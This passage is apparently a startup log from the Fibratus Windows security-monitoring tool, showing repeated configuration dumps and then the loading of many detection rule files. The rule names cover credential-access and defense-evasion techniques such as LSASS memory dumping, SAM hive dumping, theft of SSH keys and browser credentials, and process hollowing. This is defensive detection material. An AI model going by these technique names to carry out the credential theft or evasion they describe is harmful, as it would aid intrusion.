msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T15:17:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T15:17:30+01:00 level=info msg=bootstrapping with pid 13328. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T15:17:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] port=>25 enabled=>false use-template=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ flush-interval=>1s max-buffers=>36 enable-image=>true stack-enrichment=>true enable-registry=>true enable-thread=>true buffer-size=>512 enable-vamap=>true enable-audit-api=>true enable-threadpool=>false enable-handle=>false min-buffers=>16 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-mem=>false enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 level=>info log-stdout=>true max-backups=>15 max-age=>0] + output ......................... [ elasticsearch=>[ index-name=>fibratus enabled=>false bulk-workers=>1 timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false flush-period=>1s sniff=>false template-name=>fibratus healthcheck-interval=>10s trace-log=>false healthcheck-timeout=>5s healthcheck=>true] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info] amqp=>[ durable=>false url=>amqp://localhost:5672 passive=>false delivery-mode=>transient exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus enabled=>false vhost=>/ routing-key=>fibratus] http=>[ endpoints=>[] tls-insecure-skip-verify=>false method=>POST enable-gzip=>false timeout=>5s enabled=>false serializer=>json]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] skip-registry=>false excluded-procs=>[] skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false fastscan=>true scan-timeout=>10s enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T15:17:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T15:17:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T15:17:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T15:17:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T15:17:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T15:17:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-11T15:17:44+01:00 level=info msg=bootstrapping with pid 17848. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T15:17:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 content-type=>text/html to=>[] enabled=>false use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-mem=>false max-buffers=>36 enable-dns=>false enable-audit-api=>true enable-thread=>true enable-fileio=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-handle=>false buffer-size=>512 stack-enrichment=>true enable-vamap=>true enable-net=>true flush-interval=>1s enable-threadpool=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ amqp=>[ exchange-type=>topic vhost=>/ passive=>false tls-insecure-skip-verify=>false durable=>false timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus delivery-mode=>transient enabled=>false exchange=>fibratus] elasticsearch=>[ bulk-workers=>1 template-name=>fibratus sniff=>false healthcheck=>true healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] enabled=>false index-name=>fibratus timeout=>5s flush-period=>1s trace-log=>false gzip-compression=>false healthcheck-timeout=>5s] http=>[ method=>POST serializer=>json enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true excluded-files=>[] skip-registry=>false skip-allocs=>false enabled=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T15:17:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T15:17:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T15:20:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T15:20:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T15:20:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T15:38:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-11T15:38:11+01:00 level=info msg=bootstrapping with pid 13396. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T15:38:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html port=>25 enabled=>false use-template=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-registry=>true enable-handle=>false enable-vamap=>true flush-interval=>1s enable-image=>true enable-audit-api=>true enable-thread=>true enable-mem=>false min-buffers=>16 stack-enrichment=>true max-buffers=>36 enable-net=>true enable-threadpool=>false buffer-size=>512 enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 max-size=>100 log-stdout=>true max-backups=>15 formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json enable-gzip=>false timeout=>5s endpoints=>[] enabled=>false tls-insecure-skip-verify=>false method=>POST] amqp=>[ vhost=>/ exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient routing-key=>fibratus timeout=>5s exchange-type=>topic enabled=>false durable=>false] elasticsearch=>[ healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck=>true trace-log=>false enabled=>false template-name=>fibratus healthcheck-timeout=>5s bulk-workers=>1 sniff=>false index-name=>fibratus gzip-compression=>false flush-period=>1s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false skip-files=>false excluded-files=>[] fastscan=>true scan-timeout=>10s enabled=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-11T15:38:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T15:38:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T15:40:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T15:40:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T15:40:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T15:40:45+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-11T15:40:45+01:00 level=info msg=bootstrapping with pid 17448. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T15:40:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 to=>[] content-type=>text/html use-template=>true enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ flush-interval=>1s enable-mem=>false max-buffers=>36 enable-image=>true enable-vamap=>true enable-dns=>false enable-threadpool=>false buffer-size=>512 enable-thread=>true enable-fileio=>true enable-audit-api=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-handle=>false stack-enrichment=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-size=>100 max-age=>0 level=>info formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus exchange=>fibratus vhost=>/ url=>amqp://localhost:5672 durable=>false delivery-mode=>transient timeout=>5s passive=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] index-name=>fibratus gzip-compression=>false sniff=>false flush-period=>1s healthcheck=>true healthcheck-interval=>10s trace-log=>false timeout=>5s healthcheck-timeout=>5s enabled=>false bulk-workers=>1 template-name=>fibratus] http=>[ method=>POST enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false endpoints=>[] timeout=>5s serializer=>json] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false enabled=>false fastscan=>true skip-mmaps=>false scan-timeout=>10s excluded-files=>[] skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T15:40:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T15:40:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T15:41:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T15:41:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T15:41:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T15:42:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-11T15:42:25+01:00 level=info msg=bootstrapping with pid 2192. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T15:42:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true enable-thread=>true stack-enrichment=>true enable-image=>true enable-handle=>false max-buffers=>36 flush-interval=>1s enable-registry=>true enable-threadpool=>false enable-mem=>false enable-dns=>false buffer-size=>512 enable-fileio=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text log-stdout=>true max-size=>100 max-age=>0 level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ timeout=>5s enabled=>false bulk-workers=>1 healthcheck=>true servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false template-name=>fibratus flush-period=>1s gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus healthcheck-interval=>10s] http=>[ enable-gzip=>false serializer=>json timeout=>5s tls-insecure-skip-verify=>false method=>POST enabled=>false endpoints=>[]] amqp=>[ exchange=>fibratus enabled=>false vhost=>/ delivery-mode=>transient tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s passive=>false durable=>false url=>amqp://localhost:5672 routing-key=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] excluded-files=>[] skip-files=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T15:42:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T15:42:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T15:46:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T15:46:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T15:46:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:04:07+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_tampering.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T16:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml 